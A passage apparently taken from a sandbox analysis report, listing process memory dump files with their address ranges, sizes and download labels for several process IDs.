memory/1172-113-0x000000001B760000-0x000000001BA5F000-memory.dmp

Filesize
3.0MB

Download
memory/1172-63-0x0000000000000000-mapping.dmp

Download
memory/1172-128-0x000000000281B000-0x000000000283A000-memory.dmp

Filesize
124KB

Download
memory/1172-110-0x0000000002814000-0x0000000002817000-memory.dmp

Filesize
12KB

Download
memory/1172-104-0x000007FEEAE60000-0x000007FEEB9BD000-memory.dmp

Filesize
11.4MB

Download
memory/1172-98-0x000007FEEC3B0000-0x000007FEECDD3000-memory.dmp

Filesize
10.1MB

Download
memory/1456-82-0x000007FEEC3B0000-0x000007FEECDD3000-memory.dmp

Filesize
10.1MB

Download
memory/1456-123-0x00000000027AB000-0x00000000027CA000-memory.dmp

Filesize
124KB

Download
memory/1456-116-0x000000001B810000-0x000000001BB0F000-memory.dmp

Filesize
3.0MB

Download
memory/1456-121-0x00000000027A4000-0x00000000027A7000-memory.dmp

Filesize
12KB

Download
memory/1456-72-0x000007FEFC001000-0x000007FEFC003000-memory.dmp

Filesize
8KB

Download
memory/1456-103-0x00000000027A4000-0x00000000027A7000-memory.dmp

Filesize
12KB

Download
memory/1456-68-0x0000000000000000-mapping.dmp

Download
memory/1456-101-0x000007FEEAE60000-0x000007FEEB9BD000-memory.dmp

Filesize
11.4MB

Download
memory/1476-69-0x0000000000000000-mapping.dmp

Download
memory/1624-106-0x000007FEEAE60000-0x000007FEEB9BD000-memory.dmp

Filesize
11.4MB

Download
memory/1624-100-0x000007FEEC3B0000-0x000007FEECDD3000-memory.dmp

Filesize
10.1MB

Download
memory/1624-130-0x000000000290B000-0x000000000292A000-memory.dmp

Filesize
124KB

Download
memory/1624-117-0x000000001B8A0000-0x000000001BB9F000-memory.dmp

Filesize
3.0MB

Download
memory/1624-67-0x0000000000000000-mapping.dmp

Download
memory/1624-109-0x0000000002904000-0x0000000002907000-memory.dmp

Filesize
12KB

Download
memory/1624-127-0x0000000002904000-0x0000000002907000-memory.dmp

Filesize
12KB

Download
memory/1636-95-0x0000000000000000-mapping.dmp

Download
memory/1668-93-0x0000000000000000-mapping.dmp

Download
memory/1672-65-0x0000000000000000-mapping.dmp

Download
memory/1816-62-0x00000000005F0000-0x00000000005FC000-memory.dmp

Filesize
48KB

Download
memory/1816-61-0x0000000000360000-0x000000000036A000-memory.dmp

Filesize
40KB

Download
memory/1816-55-0x0000000000240000-0x000000000024E000-memory.dmp

Filesize
56KB

Download
memory/1816-56-0x0000000000250000-0x000000000026C000-memory.dmp

Filesize
112KB

Download
memory/1816-57-0x0000000000270000-0x0000000000280000-memory.dmp

Filesize
64KB

Download
memory/1816-54-0x00000000010F0000-0x000000000125E000-memory.dmp

Filesize
1.4MB

Download
memory/1816-58-0x0000000000280000-0x0000000000288000-memory.dmp

Filesize
32KB

Download
memory/1816-59-0x0000000000310000-0x0000000000318000-memory.dmp

Filesize
32KB

Download
memory/1816-60-0x0000000000320000-0x0000000000330000-memory.dmp

Filesize
64KB

Download
memory/1984-88-0x0000000000000000-mapping.dmp

Download
memory/1984-91-0x0000000000FB0000-0x000000000111E000-memory.dmp

Filesize
1.4MB

Download
memory/2000-105-0x000007FEEAE60000-0x000007FEEB9BD000-memory.dmp

Filesize
11.4MB

Download
memory/2000-129-0x00000000025EB000-0x000000000260A000-memory.dmp

Filesize
124KB

Download
memory/2000-97-0x000007FEEC3B0000-0x000007FEECDD3000-memory.dmp

Filesize
10.1MB

Download
memory/2000-108-0x00000000025E4000-0x00000000025E7000-memory.dmp

Filesize
12KB

Download
memory/2000-126-0x00000000025E4000-0x00000000025E7000-memory.dmp

Filesize
12KB

Download
memory/2000-70-0x0000000000000000-mapping.dmp

Download
memory/2000-115-0x000000001B860000-0x000000001BB5F000-memory.dmp

Filesize
3.0MB

Download